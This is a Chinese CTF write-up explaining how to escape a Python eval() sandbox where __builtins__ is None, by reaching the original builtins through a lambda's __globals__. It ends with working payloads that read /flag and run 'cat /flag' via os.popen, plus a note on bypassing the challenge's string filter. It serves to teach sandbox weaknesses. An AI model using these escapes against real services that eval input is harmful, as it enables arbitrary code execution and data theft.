臭皮踩踩背
题目需要用 nc 连接,给出了部分源码:
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
完整源码:
print('你被豌豆关在一个监狱里……')
print('豌豆百密一疏,不小心遗漏了一些东西…')
print('''def ev4l(*args):\n\tprint(secret)\ninp = input("> ")\nf = lambda: None\nprint(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))''')
print('能不能逃出去给豌豆踩踩背就看你自己了,臭皮…')
def ev4l(*args):
print(secret)
secret = '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?'
inp = input("> ")
f = lambda: None
if "f.__globals__['__builtins__'].eval" in inp:
f.__globals__['__builtins__'].eval = ev4l
else:
f.__globals__['__builtins__'].eval = eval
try:
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
except Exception as e:
print(f"Error: {e}")
再此之前,我们来学习一下参考文档中的内建函数 __builtins__
,还有 globals
到底是什么,再了解的 eval()
的原理,逃离这个上下文。
注意
下面的代码块中,除特别说明外,若代码块中存在 >>>
开头,则表示该代码块是在自己的 Python 环境中作为测试执行的(直接命令行运行 python
),否则,则是 nc 后发送给题目的内容。
globals 和 builtins
globals
是我们当前的全局空间,如果你声明一个全局变量,它将会存在于当前的 globals
中,我们可以看一下 globals
中到底有哪些内容,直接新建一个 Python 会话:
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> x=1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 1}
但是为什么我们能够直接调用 open()
函数呢?因为。但是如果访问了 open
函数,如果 globals
中有,那就执行 globals
中的(可能是你自己定义的,因此存在于 globals
空间中),否则,执行 builtins
中的(类似 open
eval
__import__
之类的函数都是在 builtins
中的)。
我们来查看一下 builtins
中到底有哪些内容:
>>> globals()['__builtins__'].__dict__.keys()
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'WindowsError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help', '_'])
可以看到 open
eval
__import__
等函数都在 builtins
中。
eval
eval
函数的第一个参数就是一个字符串,即你要执行的 Python 代码,第二个参数就是一个字典,指定在接下来要执行的代码的上下文中,globals
是怎样的。
题目中,eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l})
这段代码,__builtins__
被设置为 None
,而我们输入的代码就是在这个 builtins
为 None
的上下文中执行的,我们从而失去了直接使用 builtins
中的函数的能力,像下面的代码就会报错(题目中直接输入 print(1)
):
>>> eval('print(1)', {"__builtins__": None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
由于全局 global
中没有 print
,从而从 builtins
中寻找,而 builtins
为 None
,触发错误。
但注意看,题目刚好给了一个匿名函数 f
,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__
属性来逃逸。我们可以在 Python 终端测试一下:
>>> f = lambda: None
>>> f.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'f': <function <lambda> at 0x0000026073850700>}
函数的 __globals__
记录的是这个函数所在的 globals
空间,而这个 f
函数是在题目源码的环境中(而不是题目的 eval 的沙箱中),我们从而获取到了原始的 globals
环境,然后我们便可以从这个原始 globals
中获取到原始 builtins
:
f.__globals__['__builtins__']
深入探究 eval 的 builtin 逻辑
但这里还有一个问题,如果我们直接调用 f.__globals__['__builtins__'].eval
,先不说题目会替换掉 eval
函数(实际上在点号前随便几个空格或者字符串拼接就能绕过,下不赘述),即使我们能够调用,也会报错:
>>> f = lambda: None
>>> inp='''f.__globals__['__builtins__'].eval('print(1)')'''
>>> eval(inp, {"__builtins__": None, 'f': f})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
为什么呢?可以看 Python 解释器的 builtins
相关的代码: bltinmodule.c.
可见,会检查 globals
中是否已经包含了 builtins
,如果没有,则会通过 PyEval_GetBuiltins()
获取默认的内置函数,并将其添加到 globals
中。
因此,报错的原因便是,我们在 inp
中的 eval
并没有指定 globals
,因此 Python 会将当前调用处的上下文的 globals
作为第二个参数,即使设定了第二个参数但没有指定 __builtins__
,Python 也会自动注入当前上下文中的 builtins
(也就是未指定则继承)。但当前上下文中的 builtins
是 None
,因此会报错。
绕过也很简单,显式指定即可:
>>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })'''
>>> eval(inp, {"__builtins__": None, 'f': f})
可以看下面的结构树:
# In source code
globals() <- f.__globals__
├─ __builtins__ <- f.__globals__['__builtins__']
│ ├─ open <- f.__globals__['__builtins__'].open
│ ├─ eval <- f.__globals__['__builtins__'].eval
│ └─ ...
├─ f <- f.__globals__['f']
└─ ...
# In `eval(inp, {"__builtins__": None, "f": f})`
globals()
├─ __builtins__ <- None
├─ f
└─ ...
# Though `f` was from top globals, and you can reach top builtins by `f.__globals__['__builtins__']`
# the context is still at this level when you run `eval()` AKA `f.__globals__['__builtins__'].eval()`
# so Python will inject the current builtins, which is `None`, into the `eval` context
Payload
综上,Payload 其实有很多种,这里列举一些:
f.__globals__['__builtins__'].open('/flag').read()
f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()